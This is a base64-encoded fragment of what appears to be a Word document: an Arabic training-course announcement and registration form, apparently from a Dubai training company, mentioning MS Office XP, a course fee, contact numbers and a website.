AV2EqgFhJANnZBI6twAAFwAAAyQDCiYAC0YCAA6E0AIPhHL/EmTwAAEAFKQAAEEkAV2Ecv9hJANn ZBI6twAAFwAAAyQDCiYAC0YCAA6E0AIPhB/8EmTwAAEAFKQAAEEkAV2EH/xhJANnZBI6twASAAAD JAMOhAAAD4QAABJk8AABABSkAABBJAFhJAhnZBI6twAADbISAAAcEwAAfhMAAAwUAABGFAAArhQA AEIVAADIFQAAWBYAANgWAAA2FwAAkBcAAPQXAAB8GAAAyBgAAFoZAAC4GQAAGBoAAKIaAAASGwAA phsAAN0AAAAAAAAAAAAAAADdAAAAAAAAAAAAAAAA3QAAAAAAAAAAAAAAAN0AAAAAAAAAAAAAAADd AAAAAAAAAAAAAAAA3QAAAAAAAAAAAAAAAN0AAAAAAAAAAAAAAADFAAAAAAAAAAAAAAAAxQAAAAAA AAAAAAAAAMUAAAAAAAAAAAAAAADFAAAAAAAAAAAAAAAAxQAAAAAAAAAAAAAAAMUAAAAAAAAAAAAA AADFAAAAAAAAAAAAAAAA3QAAAAAAAAAAAAAAAN0AAAAAAAAAAAAAAADdAAAAAAAAAAAAAAAA3QAA AAAAAAAAAAAAAN0AAAAAAAAAAAAAAADdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFwAAAyQDCiYAC0YDAA6E0AIPhB/8EmTwAAEA FKQAAEEkAV2EH/xhJANnZBI6twAAIQAAAyQDCiYAC0YDAA3GBQABHAIGDoRoAQ+EH/wRhAAAEmTw AAEAFKQAAEEkAV2EH/xehGgBYIQAAGEkA2dkEjq3AAAUfBMAAH4TAAAKFAAADBQAAEQUAABGFAAA rBQAAK4UAABAFQAAQhUAAMYVAADIFQAAVhYAAFgWAACsFgAArhYAAMgYAABYGQAAWhkAAGwZAAB8 GQAAthkAALgZAAAWGgAAGBoAAKAaAACiGgAAEBsAABIbAACkGwAAphsAAB4cAAAgHAAAYhwAAGQc AAB+HwAAADIAAG44AACIOAAAzjoAAOzX7Nfs1+zX7NfsxrbGpcbX7NeO1+zX7Nfs1+zX7HfsxrbG dca2xgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1UIAS0VaBI6twAWaBI6twA1 CIFDShkAT0oCAFFKAgBaCIFcCIFeSgYAX0gBNGFKGQAsFWgSOrcAFmgSOrcANQiBQ0oZAE9KAgBR SgIAWgiBXAiBXkoGAGFKGQBvKAIAIRVoEjq3ABZoEjq3ADUIgUNKGQBcCIFeSgYAYUoZAG8oAh4V aBI6twAWaBI6twA1CIFDShkAXAiBXkoGAGFKGQAAIRVoEjq3ABZoEjq3ADUIgUNKGQBaCIFcCIFe SgYAYUoZACkVaBI6twAWaBI6twA1CIFDShkAT0oCAFFKAgBaCIFcCIFeSgYAYUoZACYVaBI6twAW aBI6twA1CIFDShkAT0oCAFFKAgBcCIFeSgYAYUoZACemGwAAIBwAAGQcAADeHAAAfh0AAA4eAACW HgAAJh8AAHIfAAC6MgAAVjMAAOozAADONAAAeDUAALo1AAByNgAA0jYAACA3AACkNwAAADgAAI44 AAD4OAAA3QAAAAAAAAAAAAAAALsAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAuwAAAAAAAAAAAAAA ALsAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAuwAAAAAAAAAAAAAAALsAAAAAAAAAAAAAAAC7AAAA AAAAAAAAAAAAuwAAAAAAAAAAAAAAALsAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAuwAAAAAAAAAA AAAAALsAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAuwAAAAAAAAAAAAAAALsAAAAAAAAAAAAAAAC7 AAAAAAAAAAAAAAAAuwAAAAAAAAAAAAAAALsAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAhAAADJAMKJgALRgUADcYFAAEcAgYOhGgBD4Qf/BGEAAASZPAAAQAUpAAAQSQBXYQf /F6EaAFghAAAYSQDZ2QSOrcAACEAAAMkAwomAAtGBAANxgUAARwCBg6EaAEPhB/8EYQAABJk8AAB ABSkAABBJAFdhB/8XoRoAWCEAABhJANnZBI6twAAFUUGIAAnBkQGMwZDBjEGKgYnBjEGSgYpBiAA JwZEBkUGOQYnBjUGMQYpBiAASAYnBkQGOQZEBicGQgYpBiAAJwZEBkgGKwZKBkIGKQYgACcGRAYq BkoGIAAqBjEGKAY3BiAASAY4BkoGQQYpBiAAJwZEBjMGQwYxBioGSgYxBiAAKAYnBkQGIwY5BkUG JwZEBiAAJwZEBkUGQwYqBigGSgYpBiAAJwZEBkUGLgYqBkQGQQYpBi4AIAANACAAIABFBkcGRQYn BioGIABIBkgGJwYsBigGJwYqBiAASAY4BicGJgZBBiAAJwZEBjMGQwYxBioGJwYxBkoGKQYuACAA IwZGBkgGJwY5BiAAJwZEBjMGQwYxBioGJwYxBkoGKQYgACgGJwZEBkYGMwYoBikGIABEBkQGIwZG BjQGNwYpBiAAJwZEBkUGKgYuBjUGNQYpBi4AIAANACAAIAAnBkQGNQZBBicGKgYgAEgGJwZEBkUG JAZHBkQGJwYqBiAAJwZEBjQGLgY1BkoGKQYgACcGRAYjBjMGJwYzBkoGKQYgACcGRAZEBicGMgZF BikGIABEBkMGRAYgAEYGSAY5BiAARQZGBiAAIwZGBkgGJwY5BiAAJwZEBjMGQwYxBioGJwYxBkoG KQYuACAADQAjBkcGRQZKBikGIABFBkgGJwZDBigGKQYgACcGRAZFBjMGKgYsBi8GJwYqBiAAQQZK BiAAJwZEBkUGJAYzBjMGKQYgAEgGNgYxBkgGMQYpBiAAJwZEBicGNwZEBicGOQYgADkGRAZJBiAA IgYuBjEGIAAnBkQGIwYzBicGRAZKBigGIAAnBkQGLQYvBkoGKwYpBiAASAYnBkQGIwYsBkcGMgYp BiAASAYnBkQGIwYvBkgGJwYqBiAASAYnBkQGKgYsBkcGSgYyBicGKgYgACcGRAZFBkMGKgYoBkoG KQYuACAADQAgACAANgYxBkgGMQYpBiAAKgYtBi8GSgYvBiAARQYqBjcGRAYoBicGKgYgACcGRAYq BkYGRQZKBikGIAAnBkQGMAYnBioGSgYpBiAARAZEBjMGQwYxBioGSgYxBiAASAYnBkQGOQZFBkQG IAA5BkQGSQYgAEUGKgYnBigGOQYqBkcGJwYgAEQGRQZIBicGQwYoBikGIAAnBkQGKgY6BkoGSgYx Bi4AIAANACoGQgZGBkoGJwYqBiAAJwZEBi0GJwYzBkgGKAYgAEEGSgYgACMGOQZFBicGRAYgACcG RAZFBkMGJwYqBigGIAANACAAIAAlBi8GJwYxBikGIAAnBkQGRQZEBkEGJwYqBiAASAYqBjUGRgZK BkEGRwYnBiAAKAYnBjMGKgYuBi8GJwZFBiAAJwZEBi0GJwYzBkgGKAYuACAAJQYvBicGMQYpBiAA JwZEBigGMQZKBi8GIAAnBkQGNQYnBi8GMQYgAEgGJwZEBkgGJwYxBi8GIABIBiUGLAYxBicGIQYn BioGRwYgACcGRAYtBicGMwZIBigGSgYpBiAADQAgACAAJQY5Bi8GJwYvBiAAJwZEBjEGMwYnBiYG RAYgAEgGJwZEBioGQgYnBjEGSgYxBiAAJwZEBiUGLwYnBjEGSgYpBiAASAYnBkQGRQYtBicGMwYo BkoGKQYuACAADQAlBi8GJwYxBikGIAAnBkQGSAZCBioGIABIBicGRAYnBiwGKgZFBicGOQYnBioG IABIBicGRAYqBi4GNwZKBjcGIABEBkcGJwYuACAADQAgACAAJQYvBicGMQYpBiAAJwZEBicGKgY1 BicGRAYnBioGIAAnBkQGLQYvBkoGKwYpBiAASAYjBkcGRQYgACgGMQYnBkUGLAZHBicGLgAgACcG LwYnBjEGKQYgACcGRAYoBjEGSgYvBiAAJwZEBicGRAZDBioGMQZIBkYGSgYuACAADQBFBkcGJwYx BicGKgYgACcGRAY5BjEGNgYgAEgGJwZEBioGQgYvBkoGRQYgAC4AIAAnBkUGRgYgAEgGMwYxBkoG KQYgACcGRAZFBjMGKgZGBi8GJwYqBi4AIAANACAAIAAnBkQGKgY5BjEGQQYgADkGRAZJBiAAJwZE BiMGSAYnBkUGMQYgACcGRAZEBkEGOAZKBikGIABIBicGRAY3BigGJwY5BikGIAAnBkQGRAZBBjgG SgYpBiAAQQZKBiAAKAYxBicGRQYsBiAATQBTACAATwBmAGYAaQBjAGUAIABYAFAAIAAuACAADQAg ACAARQZHBicGMQYnBioGIAAnBkQGJwYqBjUGJwZEBiAASAYjBkcGRQZKBikGIAAnBkQGRQYxBicG MwZEBicGKgYgAEgGJQYvBicGMQYpBiAAJwZEBkUGJAYqBkUGMQYnBioGIAAuAA0AIAAgACcGRAZF BkEGJwZHBkoGRQYgACcGRAZFBi4GKgZEBkEGKQYgAEQGOQZFBkQGSgYpBiAAJwZEBicGKgY1BicG RAYnBioGLgAgADkGRgYnBjUGMQYgAEgGRQYxBicGLQZEBiAAOQZFBkQGSgYpBiAAJwZEBicGKgY1 BicGRAYuACAADQAgACAASAYzBicGJgZEBiAAJwZEBicGKgY1BicGRAYnBioGIAAnBkQGRQYuBioG RAZBBikGLgA5BkgGJwZFBkQGIABGBiwGJwYtBiAASAZFBjkGSAZCBicGKgYgADkGRQZEBkoGKQYg ACcGRAYnBioGNQYnBkQGLgAgAA0AIAAgACcGRAYjBkUGSAYxBiAAJwZEBioGSgYgAEoGLAYoBiAA IwYuBjAGRwYnBiAAKAY5BkoGRgYgACcGRAYnBjkGKgYoBicGMQYgAEUGRgYgACMGLAZEBiAAKgY3 BkgGSgYxBiAARQZHBicGMQYnBioGIAAnBkQGJwYqBjUGJwZEBi4AIAANACAAIABFBkcGJwYxBicG KgYgACcGRAYqBjEGQwZKBjIGIABIBicGRAYnBioGNQYnBkQGIABIBicGRAYqBjkGJwZFBkQGIABF BjkGIAAnBkQGIgYuBjEGSgZGBg0AIAAgACMGMwYnBkQGSgYoBiAAKgZCBkgGSgYpBiAAJwZEBjAG JwZDBjEGKQYgAEgGKgZGBjgGSgZFBiAAJwZEBkgGQgYqBiAADQBFBkQGJwYtBjgGJwYqBiAAJwZE BicGNAYqBjEGJwZDBiAAOgAgAC0AIAAgAA0ASgZFBkMGRgYgACcGRAZFBjQGJwYxBkMGKQYgADkG RgYgADcGMQZKBkIGIAAyBkoGJwYxBikGIABFBkgGQgY5BiAAJwZEBkUGMQZDBjIGIAAJAAkAEwAg AEgAWQBQAEUAUgBMAEkATgBLACAAIgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBiAGMALQB0AHIA YQBpAG4AaQBuAGcALgBjAG8AbQAiACAAFAB3AHcAdwAuAG0AYgBjAC0AdAByAGEAaQBuAGkAbgBn AC4AYwBvAG0AFQAgAAkAIAAgACAAIAAgACAADQAnBkgGIAAnBkQGKAYxBkoGLwYgACcGRAYlBkQG QwYqBjEGSAZGBkoGIAAgACAAIAAJAAkACQAJAAkAaQBuAGYAbwBAAG0AYgBjAC0AdAByAGEAaQBu AGkAbgBnAC4AYwBvAG0AIAAgAA0AJwZIBiAAJwZEBicGKgY1BicGRAYgADkGRAZJBiAAJwZEBiMG MQZCBicGRQYgACcGRAYqBicGRAZKBikGIAAgACAAIAAgAAkAIAAgACAAIAAgACAAIAAgACAAIAAg ACAAIAAgACAAIAAgACAAIAAgACAAMAAwADkANwAxADUAMAA5ADEAMwAzADMANQA2ACAALwAgADAA MAA5ADYANgA1ADAANQAzADMAMAAwADYANwAgACAADQAqBjkGKAYmBikGIABCBjMGSgZFBikGIAAn BkQGJwY0BioGMQYnBkMGIABIBiUGMQYzBicGRAZHBicGIAA5BkQGSQYgAEEGJwZDBjMGIAAxBkIG RQYgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAACQAgACAAIAAgADAAMAA5ADcAMQA0ADQAMwAx ADMAOAAyADIADQAxBjMGSAZFBiAAJwZEBicGNAYqBjEGJwZDBiAAIAA6ACAAMgA1ADAAMAAgAC8G SAZEBicGMQYgACMGRQYxBkoGQwZKBiAAIAANAA0AJwYzBkUGIAAnBkQGRQY0BicGMQZDBiAAOgAg AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ADQAnBjMGRQYgACwGRwYpBiAAJwZEBkUGNAYnBjEGQwYgADoALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAnBkQGRQYzBkUGSQYgACcG RAZIBjgGSgZBBkoGIAA6AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ADQAxBkIGRQYgACcGRAZHBicGKgZBBiAAOgAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAA0AMQZC BkUGIAAnBkQGQQYnBkMGMwYgADoALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAnBkQGJQZKBkUGSgZEBiAAOgAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAt AC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0A LQAtAC0ALQAtAC0ABwAHAEoGMQYsBkkGIAAqBjkGKAYmBikGIABGBkUGSAYwBiwGIAAnBkQGJwY0 BioGMQYnBkMGIABIBiUGMQYzBicGRAZHBiAAOQZEBkkGIAAnBkQGKAZKBicGRgYnBioGIAAnBkQG KgYnBkQGSgYpBiAAOgANAEQAdQBiAGEAaQAgAC0AEyAgAFQAZQBsADoALgAgADAAMAA5ADcAMQA1 ADAAOQAxADMAMwAzADUANgAgAC8AIAAwADAAOQA2ADYANQAwADUAMwAzADAAMAA2ADcAIABGAGEA eAAgADoAIAAwADAAOQA3ADEANAA0ADMAMQAzADgAMgAyAA0AVwBlAGIAOgAgACAAIAAgABMAIABI AFkAUABFAFIATABJAE4ASwAgACIAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AYgBjAC0AdAByAGEA aQBuAGkAbgBnAC4AYwBvAG0AIgAgABQAdwB3AHcALgBtAGIAYwAtAHQAcgBhAGkAbgBpAG4AZwAu AGMAbwBtABUAIAAgACAAIAAvACAAIAAgAEUAbQBhAGkAbAA6ACAAaQBuAGYAbwBAAG0AYgBjAC0A dAByAGEAaQBuAGkAbgBnAC4AYwBvAG0ABwAHAA0AAwANAA0ABAANAA0AAwANAA0ABAANAA0AAQAN AA0ARAB1AGIAYQBpACAALQATICAAVABlAGwAOgAuACAAMAAwADkANwAxADUAMAA5ADEAMwAzADMA NQA2ACAALwAgADAAMAA5ADYANgA1ADAANQAzADMAMAAwADYANwAgAEYAYQB4ACAAOgAgADAAMAA5 ADcAMQA0ADIANgAzADgANwAzADgADQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAZQBiADoA IAAgACAAIAATACAASABZAFAARQBSAEwASQBOAEsAIAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBt AGIAYwAtAHQAcgBhAGkAbgBpAG4AZwAuAGMAbwBtACIAIAAUAHcAdwB3AC4AbQBiAGMALQB0AHIA YQBpAG4AaQBuAGcALgBjAG8AbQAVACAAIAAgACAALwAgACAAIABFAG0AYQBpAGwAOgAgAGkAbgBm AG8AQABtAGIAYwAtAHQAcgBhAGkAbgBpAG4AZwAuAGMAbwBtAA0ADQANAA0ADQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAD4OAAAfjkAAPo5AACCOgAA3joAACg7AABWOwAAPDwAAKY8AABc PQAA8j0AADw+AADdAAAAAAAAAAAAAAAA3QAAAAAAAAAAAAAAAN0AAAAAAAAAAAAAAADdAAAAAAAA AAAAAAAA3QAAAAAAAAAAAAAAAMkAAAAAAAAAAAAAAACsAAAAAAAAAAAAAAAArAAAAAAAAAAAAAAA AI0AAAAAAAAAAAAAAACNAAAAAAAAAAAAAAAAbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAB4AAAMkAgomAAtGAQANxgoBAAACagH4CQYADoRqAQ+EaAESZGgBAQAUpAAA QSQBXYRoAV6EagFnZBI6twAAHgAAAyQCCiYAC0YBAA3GCgEAAAJqAfgJBgAOhGoBD4RoARJkaAEB ABSkAABBJAFdhGgBXoRqAWdkJh3nAAAcAAADJAIKJgALRgEADcYKAQAAAmoB+AkGAA6EagEPhAAA EmRoAQEAFKQAAEEkAV6EagFnZCYd5wAUAAADJAMOhAAAD4Qf/BJk8AABABSkAABBJAFdhB/8YSQD Z2QmHecAACEAAAMkAwomAAtGBQANxgUAARwCBg6EaAEPhB/8EYQAABJk8AABABSkAABBJAFdhB/8 XoRoAWCEAABhJANnZBI6twAAC846AADcOgAA3joAAOI6AADuOgAAJjsAACg7AABUOwAAVjsAAKY7 AACoOwAAqjsAAKw7AAD+OwAAADwAACg8AAAqPAAALjwAADI8AAA6PAAAPDwAAGQ8AAB2PAAA7d3M 7czdtJ2TjJN4aHhoeF5Tk0uTOwAAAAAfFWhpeP8AFmgmHecAQioCWgiBX0gBNG8oAnBoAAD/AA8V aGl4/wAWaCYd5wBaCIEVFWhpeP8AFmgmHecAQioCcGgAAP8AEhVoaXj/ABZoJh3nADUIgVwIgQAe FWhpeP8AFmgmHecANQiBQ0oYAFwIgV9IAShhShgAACcDagAAAAAVaGl4/wAWaCYd5wA1CIFDShgA VQgBXAiBX0gBKGFKGAAMFWhpeP8AFmgmHecAABIVaGl4/wAWaCYd5wBaCIFvKAIALBVoaXj/ABZo Jh3nADUIgT4qAUNKGQBPSgIAUUoCAFoIgVwIgV5KBgBhShkAAC8VaGl4/wAWaCYd5wA1CIE+KgFD ShkAT0oCAFFKAgBaCIFcCIFeSgYAYUoZAG8oAiEVaBI6twAWaBI6twA1CIFDShkAWgiBXAiBXkoG AGFKGQAeFWgSOrcAFmgSOrcANQiBQ0oZAFwIgV5KBgBhShkAACQVaBI6twAWaBI6twA1CIFDShkA WgiBXAiBXkoGAGFKGQBvKAIWdjwAAKA8AACiPAAApDwAAKY8AADmPAAA7DwAAO48AAAUPQAAGD0A ADo9AABWPQAAWj0AAFw9AAB0PQAAhD0AALw9AADEPQAAyD0AAMw9AADWPQAA8D0AAPI9AAASPgAA FD4AABw+AAAqPgAANj4AADo+AAA8PgAAPj4AAPDm39fN383Gzea85tfNss3Gzd/N5t+nmpOEdYRp WgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHRVoaXj/ABZoJh3nADUIgUNKCgBaCIFcCIFhSgoA FhVoaXj/ABZoJh3nAFoIgV9IAShvKAIAHBVoSAmZABZoEjq3ADUIgVoIgVwIgV9IAShvKAIAHBVo SAmZABZoJh3nADUIgVoIgVwIgV9IAShvKAIADBZoEjq3ADUIgVwIgQAYFWhICZkAFmgmHecANQiB WgiBXAiBbygCABUVaEgJmQAWaCYd5wA+KgFaCIFvKAISFWhpeP8AFmgSOrcAWgiBbygCABIVaNN8 AAAWaCYd5wA1CIFcCIEADBZoJh3nAFoIgW8oAgASFWhpeP8AFmgmHecAWgiBbygCAA8VaGl4/wAW aCYd5wBaCIEMFWhpeP8AFmgmHecAABIVaGl4/wAWaCYd5wA1CIFcCIEAHhVoaXj/ABZoJh3nADUI gUNKGABcCIFfSAEoYUoYAB48PgAAPj4AAAw/AADYPwAApEAAAHRBAABCQgAAFEMAABZDAACIQwAA 5AAAAAAAAAAAAAAAAOQAAAAAAAAAAAAAAADkAAAAAAAAAAAAAAAA5AAAAAAAAAAAAAAAAOQAAAAA AAAAAAAAAADkAAAAAAAAAAAAAAAA5AAAAAAAAAAAAAAAAHUAAAAAAAAAAAAAAABaAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgAAAyQBDcYFAAH4CQAOhAAAD4RoARJkaAEBABYk AUEkAUlmAQAAAF2EaAFhJAFnZPo78QAAbgAAa2RWAQAAFiQBFyQBSWYBAAAAAFQCAAKWbAAF1hgE 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 